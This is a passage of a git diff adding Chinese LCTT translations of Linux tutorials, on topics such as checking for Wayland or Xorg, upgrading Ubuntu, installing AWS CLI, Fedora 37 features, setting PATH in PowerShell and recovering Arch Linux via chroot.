的设计效率如何,人们总是争论不休。许多人说,它的设计是坏的,是臃肿的,是消耗系统资源的。这种说法的某些部分是真实的,我不会否认它。如果实施和加强得当,整个沙盒应用的概念是很好的。但我相信,与 Snap 相比,Flatpak 工作做得更好。 + +也就是说,我希望这可以帮助你清理一些磁盘空间。尽管它只在 Ubuntu 中进行了测试,但它应该适用于所有支持 Snap 的 Linux 发行版。 + +此外,请查看我们关于 [如何清理 Ubuntu][7] 的指南以及其他步骤。 + +最后,如果你要清理 **Flatpak** 应用,请参阅 [这篇指南][8]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/clean-up-snap/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snap-size-before-cleanup.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/03/Files-under-snaps-directory.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2021/03/snap-list-all.jpg +[4]: https://superuser.com/a/1330590 +[5]: https://www.debugpoint.com/wp-content/uploads/2021/03/Executing-the-script.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/Snaps-size-after-cleanup.jpg +[7]: https://www.debugpoint.com/2018/07/4-simple-steps-clean-ubuntu-system-linux/ +[8]: https://www.debugpoint.com/clean-up-flatpak/ \ No newline at end of file diff --git a/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md b/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md new file mode 100644 index 0000000000..1240c18aea --- /dev/null +++ b/published/202211/20221020.0 ⭐️ How to Check:Xorg or Wayland Display Server.md @@ -0,0 +1,93 @@ +[#]: subject: "How to Check: Xorg or Wayland Display Server?" +[#]: via: "https://www.debugpoint.com/check-wayland-or-xorg/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15216-1.html" + +如何检查: 是 Xorg 还是 Wayland 显示服务器? +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/05/102913nmpm4pzka6b6aar1.jpg) + +> 以下是快速检查在运行 Xorg 还是 Wayland 显示服务器的方法。 + +随着时间的推移,现代 Wayland 显示服务器正在进入所有 Linux 发行版。尽管老旧的 Xorg 仍然能用并且会继续存在,但 Wayland 无疑在安全性和其他性能方面更好。 + +但是,Xorg 不会很快完全淘汰。可能永远不会。 + +如果你在运行任何 Linux 发行版,如何检查运行的是 Xorg 还是 Wayland?下面是方法。 + +### Wayland 或 Xorg:你在运行哪一个? + +在你的 Linux 发行版(例如 Ubuntu、Fedora、Arch 等)中打开一个终端窗口(`CTRL+ALT+T`)。 + +然后输入以下命令并回车: + +``` +echo $XDG_SESSION_TYPE +``` + +命令输出会告诉你当前会话是 Wayland 还是 Xorg(X11)。 + +``` +[debugpoint@fedora ~]$ echo $XDG_SESSION_TYPEwayland +``` + +![此命令可以为你提供有关 Xorg 或 Wayland 的详细信息][1] + +这很简单。但是,还有其他方法。 + +### 其他方法 + +#### 使用设置 + +如果你需要图形方法,请打开你的 Linux 发行版的设置应用。在关于部分,你应该看到某个标签下中的 Wayland/X11。 + +例如,在 GNOME 设置中,你可以在 “窗口子系统Windowing system” 下找到它,如下图所示: + +![在 GNOME 设置中可以找到它][2] + +#### 使用会话值 + +你还可以使用 [systemd][3] 登录管理器 `loginctl` 找到它。请记住,它仅适用于基于 systemd 的系统。 + +打开终端并运行以下命令。你可以看到会话 id 值。在此示例中为 `c2`: + +``` +loginctl +``` + +现在,将会话 ID 传递给以下命令以获取显示服务器类型。确保将 c2 更改为你的系统规格。 + +``` +loginctl show-session c2 -p Type +``` + +![使用 loginctl 查找][4] + +### 总结 + +这些是你可以确定在 Linux 系统中运行的是 Systemd 还是 Xorg 的一些方法。你还可以在 shell 脚本中使用上述命令来实现进一步的流程自动化。 + +祝好。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/check-wayland-or-xorg/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/This-command-can-give-you-details-about-Xorg-or-Wayland-1024x612.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/10/In-GNOME-Settings-you-can-find-it.jpg +[3]: https://www.debugpoint.com/tag/systemd/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/Using-loginctl-to-find-out.jpg \ No newline at end of file diff --git a/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md b/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md new file mode 100644 index 0000000000..bf7e54d2f9 --- /dev/null +++ b/published/202211/20221020.7 ⭐️ 4 open source editors I use for my writing.md @@ -0,0 +1,60 @@ +[#]: subject: "4 open source editors I use for my writing" +[#]: via: "https://opensource.com/article/22/10/open-source-editors" +[#]: author: "Alan Formy-Duval https://opensource.com/users/alanfdoss" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15248-1.html" + +我使用的 4 款开源编辑器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/13/153838gs7u2z33qxxfigx3.jpg) + +> 分享一些我最喜欢的开源写作工具。 + +在我的职业生涯中,我已经写过很多东西,主要是作为一名 IT 顾问,创建产品文档作为给的客户可交付成果。这些文档通常针对不同操作系统和软件产品提供说明。 + +自 2018 年,我开始在 www.opensource.com 上发表关于开源软件的文章。当然,我使用开源软件进行协作。接下来我将介绍我使用过的四款开源编辑器。 + +### 1、Vi + +[Vi][1] 也被称为 `Vim`(LCTT 校注:此外不确,Vi 和 Vim 是两个软件,只是 Vim 取代了 Vi,并以 `vi` 的名字运行。),是我学习的第一款开源编辑器。这是我在计算机科学课程中学习的编辑器,并且我所有的 C 语言编程都是通过它完成的。自 1995 年以来,实际上我一直使用它作为命令行编辑器。这款工具有多个迭代版本,以至于我都可以为之写一系列文章了。我只想说,在我的日常使用中,我坚持使用它的基本命令行形式,并进行最小的定制。 + +### 2、LibreOffice Writer + +Writer 是 LibreOffice 开源办公套件的一部分。它是由文档基金会Document Foundation维护的全功能文字处理器。它支持行业标准格式,例如开放文档格式 (ODF)、Open XML 和 MS Office DOC、DOCX。可以在其官方网站上 [了解有关 Writer 的更多信息][2]。 + +### 3、Ghostwriter + +Ghostwriter 是一个用于 [Markdown 的文本编辑器][3]。它有一个很好的实时查看器和语法指南或备忘单功能。[访问官方网站][4] 了解更多内容。 + +### 4、Gedit + +Gedit 是许多 Linux 发行版中的基本图形编辑器,被描述为“用于 GNOME 桌面的小型轻量级文本编辑器”。我最近开始使用它来创建 Asciidoc 格式的文章。使用 Asciidoc 的好处是语法易于管理并可导入到 Drupal 等 Web 渲染系统中。通过 [Gedit Wiki][5] 了解许多提示和技巧。 + +### 编辑文本 + +开源世界中有大量编辑软件。随着我继续写作,这个列表可能会增加。我的主要目标是格式简单。我希望我的文章易于在互联网平台上导入、转换和发布。 + +你的写作风格、功能需求和目标受众将指导你确定首选工具。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/open-source-editors + +作者:[Alan Formy-Duval][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alanfdoss +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/20/12/vi-text-editor +[2]: https://www.libreoffice.org/discover/writer/ +[3]: https://opensource.com/article/21/10/markdown-editors +[4]: https://github.com/KDE/ghostwriter +[5]: https://wiki.gnome.org/Apps/Gedit diff --git a/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md b/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md new file mode 100644 index 0000000000..823b3f50dd --- /dev/null +++ b/published/202211/20221021.1 ⭐️ How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic).md @@ -0,0 +1,115 @@ +[#]: subject: "How to Upgrade to Ubuntu 22.10 From 22.04 LTS (Jammy to Kinetic)" +[#]: via: "https://www.debugpoint.com/upgrade-ubuntu-22-04-22-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15199-1.html" + +如何从 Ubuntu 22.04 LTS 升级到 22.10 +====== + +> 这里是如何将你当前的 Ubuntu 22.04 LTS Jammy Jellyfish 升级到 Ubuntu 22.10 Kinetic Kudu 的步骤。 + +始终停留在长期支持的发布版本,这是金科玉律。因为,先前的 [Ubuntu 22.04 LTS][1] Jammy Jellyfish 将被支持到 2027 年 4 月。这是一段很长的时间。 + +此外,LTS 版本超级稳定。它们很少损坏并变得不稳定。因此,如果你在笔记本电脑/台式机电脑或服务器上安装使用 LTS 版本,保持使用它。 + +然而,如果你想要最新的内核、GNOME 43 和 Pipewire 之类的最新技术 – 你可能会想完成版本跳级,并升级到 [Ubuntu 22.10 Kinetic Kudu][2]。 + +这里是如何做的方法。 + +### 升级 Ubuntu 22.04 LTS 到 Ubuntu 22.10 + +**注意**:我希望你没有运行去年 10 月份发布的 Ubuntu 21.10 Impish Indri 。因为它已经不被支持。但是鉴于某些原因,你正在运行它,我建议你直接重新安装 22.10 。或者,先升级到 22.04 ,再升级到 22.10 。 + +#### 在你升级前 + +在你升级前,做一些内务整理。这是非常重要的。 + +- 备份你的 `/home`、/`downloads` 和其它的文件到 USB 驱动器或任意独立的分区,以防升级失败。 +- 如果你随着时间的流逝而添加了一些额外的 PPA ,确保将它们记录下来。虽然,在升级过程开始前,升级过程将禁用 PPA 。而在升级完成后,确保手动启用 PPA 。 +- 记录并禁用所有的 GNOME 扩展。如果开发人员没有按照 GNOME 版本进行更新,那么扩展在升级后将会损坏。 +- 家中常备一个现场 USB 磁盘。 + +#### 升级步骤 + +打开 “软件包和更新Software & Update” 。 + +转到 “更新Updates” 标签页。 + +转到 “通知我新的 Ubuntu 版本Notify me of a new Ubuntu version”,选择并将其更改为 “任意新的版本For any new version”。 + +这将告诉软件包管理器来查找 Ubuntu 22.10 发布版本的详细信息。 + +![Make sure to change the option for new Ubuntu 22.10 release][3] + +打开一个终端,并运行下面的命令: + +``` +sudo apt update +sudo apt upgrade +``` + +或者,你也可以打开软件包更新程序。安装所有的准备就绪的软件包。 + +在两个命令完成后,打开软件包更新。你将会看到一个升级到 Ubuntu 22.10 的提示(如下图所示)。 + +![New version update prompt from the GUI method][4] + +现在,单击 “升级Upgrade” 按钮,并按照屏幕上的说明进行操作。升级过程需要一些时间,因此,要耐心等待,直至升级完成。确保在整个升级过程中有稳定的互联网链接。 + +如果你尚未获得更新,请等待一、两天后再次尝试。 + +如果你没有看到上述提示,手动重新启动一次系统。并再次添加尝试。 + +#### 通过终端 + +在终端中通过 nano 文件编辑器打开下面的文件。 + +``` +nano /etc/update-manager/release-upgrades +``` + +将 `Prompt=LTS` 更改为 `Prompt=normal` 。注意:如果你已经如上所述将更新标签页更改为 “任意新的版本For any new version” ,那么这个文件应该已经更新了。但是,要验证它一次。 + +![Change the release upgrade file][5] + +分别按下组合键 `CTRL+O` 和组合键 `CTRL+X` 来保存和退出。 + +最后,你也可以运行下面的命令来从终端中强制升级过程。 + +``` +sudo do-release-upgrade -c +``` + +![New version update prompt from the terminal method][6] + +升级过程需要花费一些时间(最少半个小时,上不封顶),这主要取决于你的互联网连接和硬件。直至等到其完成。在完成后,重新启动并享受 Ubuntu 22.10 Kinetic Kudu. + +![Upgrade is in progress][7] + +在升级过程进行时,看看我们 [不久前发布的关于 Ubuntu 22.10][8] 的精彩文章。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/upgrade-ubuntu-22-04-22-10/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/ubuntu-22-04-review/ +[2]: https://www.debugpoint.com/ubuntu-22-10/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/10/Make-sure-to-change-the-option-for-new-Ubuntu-22.10-release.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/10/New-version-update-prompt-from-the-GUI-method2.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/Change-the-release-upgrade-file.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/New-version-update-prompt-from-the-terminal-method.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Upgrade-is-in-progress.jpg +[8]: https://www.debugpoint.com/tag/ubuntu-22-10 diff --git a/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md b/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md new file mode 100644 index 0000000000..11c4fca5d1 --- /dev/null +++ b/published/202211/20221021.3 ⭐️ How to Install AWS CLI on Linux Step-by-Step.md @@ -0,0 +1,152 @@ +[#]: subject: "How to Install AWS CLI on Linux Step-by-Step" +[#]: via: "https://www.linuxtechi.com/how-to-install-aws-cli-on-linux/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15265-1.html" + +如何在 Linux 上安装 AWS 命令行工具 +====== + +![][0] + +> 本文讲述如何一步步在 Linux 上安装 AWS CLI(命令行工具)。 + +AWS CLI 是一个能够和 AWS 账户进行交互的命令行程序。开发者和系统管理员用它管理日常的活动和自动化。 + +### 准备环节 + +- 安装好的 Linux 系统 +- 具有管理员权限的 sudo 账户 +- 能够联网 + +现在让我们开始安装: + +### 1、下载安装文件 + +打开终端使用 `curl` 命令下载 AWS CLI 的安装文件: + +``` +$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" +``` + +![][4] + +以上命令会在当前工作目录下载一个 `awscliv2.zip` 的文件。 + +使用 [ls 命令][1] 确认当前下载下来的文件: + +``` +$ ls -l awscliv2.zip +-rw-rw-r-- 1 linuxtechi linuxtechi 47244662 Oct 20 10:53 awscliv2.zip +$ +``` + +### 2、解压缩下载的文件 + +使用 [unzip 命令][2] 解压安装包: + +``` +$ unzip awscliv2.zip +``` + +它会在当前目录创建一个 `aws` 文件夹,把解压好的文件放进去: + +``` +$ ls -ld aws +drwxr-xr-x 3 linuxtechi linuxtechi 4096 Oct 19 17:18 aws +$ +``` + +### 3、运行安装脚本 + +使用以下命令运行安装脚本: + +``` +$ sudo ./aws/install +``` + +![][5] + +脚本会把所有安装的文件放到 `/usr/local/aws-cli` 目录下,然后创建一个链接文件到 `/usr/local/bin` 目录。 + +### 4、检查 AWS CLI 的版本 + +运行以下脚本检查版本: + +``` +$ aws --version +aws-cli/2.8.4 Python/3.9.11 Linux/5.15.0-48-generic exe/x86_64.ubuntu.22 prompt/off +$ +``` + +### 5、配置 AWS CLI + +为了验证 AWS CLI 是否安装正确,开始配置 AWS CLI: + +登录你的 AWS 管理控制台,取得 AWS 访问密钥 IDAccess Key ID安全访问密钥Secret Access Key。 + +如果还没完成创建,请先创建,并把它们复制到安全的地方。 + +![][6] + +然后回到命令行,运行以下命令: + +``` +$ aws configure +AWS Access Key ID [None]: xxxxxxxxxxxxxxxxxxx +AWS Secret Access Key [None]: xxxxxxxxxxxxxxxxxxx +Default region name [None]: us-west-2 +Default output format [None]: json +$ +``` + +以上的证书会被保存到这个文件: + +``` +$ cat  ~/.aws/credentials +``` + +上面的命令的输出: + +![][7] + +运行 `aws` 命令列出你账户中的 s3 储存和 VPC: + +``` +$ aws s3 ls +$ aws ec2 describe-vpcs +``` + +输出如下: + +![][8] + +成功输出内容,说明你的 AWS CLI 已经配置完成。 + +这就是这篇文章的全部内容,请在下面的评论区发表你的疑问和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-aws-cli-on-linux/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/linux-ls-command-examples-beginners/ +[2]: https://www.linuxtechi.com/linux-zip-unzip-command-examples/ +[3]: https://www.linuxtechi.com/how-to-setup-eks-cluster-nlb-on-aws/ +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Download-AWS-CLI-Curl-Command.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-CLI-Install-Script-Linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Account-Access-Secret-Key.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Configure-Command-Output-Linux.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/10/AWS-Command-List-S3-VPC.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/18/112836c2d0bekaxu75ffbx.jpg \ No newline at end of file diff --git a/published/202211/20221022 What-s new in Fedora Workstation 37.md b/published/202211/20221022 What-s new in Fedora Workstation 37.md new file mode 100644 index 0000000000..66f5c68f19 --- /dev/null +++ b/published/202211/20221022 What-s new in Fedora Workstation 37.md @@ -0,0 +1,87 @@ +[#]: subject: "What’s new in Fedora Workstation 37" +[#]: via: "https://fedoramagazine.org/whats-new-fedora-37-workstation/" +[#]: author: "Merlin Cooper https://fedoramagazine.org/author/mxanthropocene/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15272-1.html" + +Fedora Workstation 37 中的新功能 +====== + +![][1] + +Fedora Workstation 37 是 Fedora Project 桌面操作系统的最新版本,由致力于推动开源创新的全球社区开发。本文介绍了 Fedora Workstation 37 中一些面向用户的新功能。现在就从 GNOME “软件Software”应用升级,或者在你最喜欢的终端模拟器中使用 [dnf system-upgrade][2] 升级! + +### GNOME 43 + +Fedora Workstation 37 具有最新版本的 GNOME 桌面环境,其中包含更多移植到 GTK 4 的核心应用、用户界面调整和性能调整。查看 [GNOME 43 发行说明][3] 了解更多信息! + +#### 重新设计的快速设置菜单 + +![无需打开设置即可切换深色模式][4] + +新的“快速设置Quick Settings”菜单提供更多控制和便利。你现在可以在菜单中轻松切换你的 Wi-Fi 网络,而不用进入全屏对话框;在默认模式和深色模式之间切换;以及在不打开“设置Settings”应用的情况下启用夜灯。现在还提供了一个方便的截屏和录屏按钮。 + +#### 核心应用 + +Fedora Workstation 37 中包含的 GNOME 核心应用已经进行了一轮调整和改进: + + * “文件Files”应用已移植到 GTK 4,并且用户界面有许多改进。这里只是其中的一些: + * 它现在是自适应的,这意味着它会自动调整到更窄的尺寸,从而更好地利用可用空间。 + * 列表视图已重新设计,使橡皮筋选择更容易。 + * 重新设计了 “属性Properties” 和 “打开方式……Open With…” 对话框。 + + ![Files 43 中的橡皮筋选择][5] + + * “日历Calendar”应用有一个新的边栏,可以一目了然地显示即将发生的事件。它与“联系人Contacts”应用一起,现在具有自适应用户界面。 + * “角色Characters”应用现在会向你显示不同的肤色、头发颜色和表情符号的性别选项。 + * “软件Software” 中的包源选择器已重新设计并移至更显眼的位置。 + * “地图Maps”应用已移植到 GTK 4。 + * “设置Settings”应用包括一个新的“设备安全Device Security”面板,让你可以轻松查看你的设备提供或缺少的硬件安全功能! + ![呃哦!][6] + +### 新补充的默认壁纸 + +Fedora Workstation 37 附带一组新的补充壁纸。 [在这里看看它们是如何制作的!][7] + +![六张新壁纸有浅色和深色两种][8] + +### Fedora Linux 37 的底层变化 + +Fedora Linux 37 具有许多底层更改。以下是一些值得注意的: + + * 现已正式支持树莓派 4 单板机,包括 3D 加速! + * 在 BIOS 系统上的新安装将使用 GPT 磁盘布局,而不是传统的 MBR 布局。在 BIOS 系统上,安装程序镜像现在还将使用 GRUB 而不是 syslinux 进行引导。 + * 如果你禁用然后重新启用 SELinux,或运行 `fixfiles onboot` 命令,文件系统的重新标记过程现在将并行完成,从而显着提高速度。 + * 波斯语的默认字体已从 DejaVu 和 Noto Sans Arabic 更改为 Vazirmatn,为在波斯语中使用 Fedora Linux 的用户提供更一致的体验。 + +### 还有这些... + +Fedora 项目中发生的很酷的事情! + + * Fedora CoreOS 和 Fedora Cloud Base 已升级为 “版本Edition” 级别! + * Fedora Linux 系统安装程序,带有新 GUI 的 Anaconda 预览安装程序镜像将在大约一周内可用。我将发布一篇文章以提供更多详细信息,敬请关注! + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/whats-new-fedora-37-workstation/ + +作者:[Merlin Cooper][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/mxanthropocene/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/10/f37-whats_new-816x345.jpg +[2]: https://docs.fedoraproject.org/en-US/quick-docs/dnf-system-upgrade/ +[3]: https://release.gnome.org/43/ +[4]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/ezgif.com-gif-maker1.gif +[5]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/ezgif.com-gif-maker2.gif +[6]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/Screenshot-from-2022-09-16-20-25-28-1024x708.png +[7]: https://blog.linuxgrrl.com/2022/06/27/abstract-wallpapers-in-blender-using-geometry-nodes/ +[8]: https://fedoramag.wpenginepowered.com/wp-content/uploads/2022/09/dfg-1-1024x679.png diff --git a/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md b/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md new file mode 100644 index 0000000000..74e9bd07e9 --- /dev/null +++ b/published/202211/20221022.3 ⭐️⭐️ Use open source commands in Powershell.md @@ -0,0 +1,88 @@ +[#]: subject: "Use open source commands in Powershell" +[#]: via: "https://opensource.com/article/22/10/set-path-powershell" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "qfzy1233" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15200-1.html" + +设置路径在 Powershell 中使用开源命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/01/160141i03e33e8pp5xp3vs.jpg) + +> 在 Windows 上设置你的路径,这样你就可以使用开源的命令。 + +当你在操作系统上启动应用程序时,操作系统需要使用某些代码库和实用程序来运行该应用程序。你的操作系统知道如何找到这些库和实用程序,因为它有一个 _系统路径_,这是一个通往许多应用程序需要的共同共享数据的地图。所有操作系统都有这一点,但用户通常不会意识到这一点,因为他们通常不需要在意它。然而,当你需要编程或使用特殊的网络实用程序或命令时,你可能需要关心你自己的 `PATH` 变量配置。 + +`PATH` 变量使你可以将命令保存到一致的位置,并使用命令提示符或更强大(而开源的)[Powershell][1] 从系统上的任何位置调用它们。 + +例如,假设你想安装开源应用程序 `pscp.exe`,它是 Windows 上著名的 PuTTY OpenSSH 客户端的命令行界面。你可以将它下载到你的硬盘,但是你的命令行如何知道它的存在呢?其实一开始,它并不知道: + +``` +PS> pscp + pscp: 命令 “pscp” 不能被识别为 cmdlet、脚本文件或可操作程序的名称。 + 检查名称的拼写,或者如果包含了路径,则检查路径是否正确,然后再试一次。 +``` + +如果你正在使用一个开源命令行,例如 Powershell 或 [Cmder][2],那么你将得到一个有用的错误提示,提示这可能是你的路径有问题(或缺少路径)。下面是解决这个问题的方法。 + +### 设置 PATH + +首先,在桌面上创建一个名为 `App` 的文件夹。 + +接下来,右键单击屏幕左下角的 Windows 菜单,然后选择 “系统System”。 + +![Image of the Windows menu system.][3] + +在弹出的 “系统System” 窗口中,单击窗口左侧的 “高级系统设置Advanced system settings” 链接。 + +在出现的 “系统属性System properties” 窗口中,单击窗口底部的 “环境变量Environment variables” 按钮。 + +![Image Windows system enviroment variables.][4] + +在 “环境变量Environment variables” 窗口中,单击 “用户变量User variables” 面板下的 “新建New” 按钮。 + +![Image of new Windows enviroment variables.][5] + +在弹出的对话框中,为 “变量名Variable name” 字段输入 `PATH`,为 “变量值Variable value” 字段输入 `%USERPROFILE\Desktop\App` 。单击 “确定OK” 按钮保存更改。 + +![Image of Windows path set.][6] + +在 `Desktop/Apps` 中放置你想从命令提示符中访问的命令和应用程序,Powershell、Cmder 甚至 Cmd 都能找到它们。 + + +``` +PS> pscp –version + pscp: Release 0.XY + Build platform: 64-bit x86 Windows + PS> +``` + +### 自动设置路径 + +许多应用程序会在安装过程中自动添加到系统路径中。然而,并不是所有的程序都如此,要么是因为你在安装过程中遗漏了一个复选框,要么是因为应用程序开发人员希望你自己添加它。当自动路径失败时,你现在知道如何自己设置路径。 + +*(图像来自:Alan Smithee, CC BY-SA 4.0)* + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/set-path-powershell + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[qfzy1222](https://github.com/qfzy1233) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/18/2/powershell-people +[2]: http://cmder.app/ +[3]: https://opensource.com/sites/default/files/2022-10/windows-menu-system.png +[4]: https://opensource.com/sites/default/files/2022-10/windows-system-environment-variables.png +[5]: https://opensource.com/sites/default/files/2022-10/windows-environment-variables-new.png +[6]: https://opensource.com/sites/default/files/2022-10/windows-path-set.png diff --git a/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md b/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md new file mode 100644 index 0000000000..549069132d --- /dev/null +++ b/published/202211/20221023.0 ⭐️ How to Recover Arch Linux Install via chroot.md @@ -0,0 +1,112 @@ +[#]: subject: "How to Recover Arch Linux Install via chroot" +[#]: via: "https://www.debugpoint.com/recover-arch-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15202-1.html" + +如何通过 chroot 恢复 Arch Linux 安装 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/01/213036fel3lq00iz0377v3.jpg) + +> 这篇速成指南诠释了一些步骤,它对于恢复一个 Arch Linux 安装很有帮助。 + +作为一个滚动发布版本,Arch Linux 有时会崩溃。那不是你自身的问题,而是因为数百个其它的原因,例如一个新内核与你的硬件或软件的兼容性。但是,即使如此,Arch Linux 仍然是比较优秀的,并且提供最新的软件包和应用程序。 + +但是,有些时候,它会给你带来麻烦,最后你只会看到一个闪烁的光标。 + +因此,在这种情况下,在你放弃希望前,你可能希望尝试恢复系统的安装以及数据,而不是重新格式化或重新安装。这篇指南在这些方面概述了一些步骤。 + +### 恢复 Arch Linux 安装 + +第一步是创建一个可启动的 Arch Linux 的现场Live USB 。从下面的链接中下载 ISO 镜像文件,并创建一个可启动的 ISO 的启动盘。你可以查看 [这篇](https://linux.cn/article-15020-1.html) 关于如何使用 Etcher 创建可启动的 ISO 的启动盘的指南。记住,这一步骤需要在另一个工作稳定的系统上完成,很明显,这是因为你当前系统是不可用的。 + +> **[下载 arch linux][1]** + +你需要知道在 **你的 Arch Linux 安装在哪个分区上**。这是关键的一步。如果你不知道,你可以使用 GParted 来找出来。或者在你的 Grub 菜单中查看,或者也可以运行下面的命令来找出来。这将列出你所有的磁盘分区、大小和标签。 + +``` +sudo lsblk -o name,mountpoint,label,size,uuid +``` + +在完成后,插入 USB 设备,并从中启动。你应该会在现场 USB 启动后看到 Arch Linux 提示符。 + +现在,使用下面的命令挂载 Arch Linux 分区。将 `/dev/sda3` 更改为你实际对应的分区。 + +``` +mount /dev/sda3 /mnt +arch-chroot /mnt +``` + +`arch-chroot` 命令将在终端中挂载你的 Arch Linux 分区,然后,使用你的 Arch 用户名和密码来登录系统。现在,取决于你在这个阶段的需要,你可能有下面的一些选项。 + +- 你可以前往 `/home` 文件夹来备份你的数据。为防止排错手段不能解决问题。你可以复制这些文件到一块外部的 USB 磁盘或其它的分区。 +- 检查日志文件,尤其是 pacman 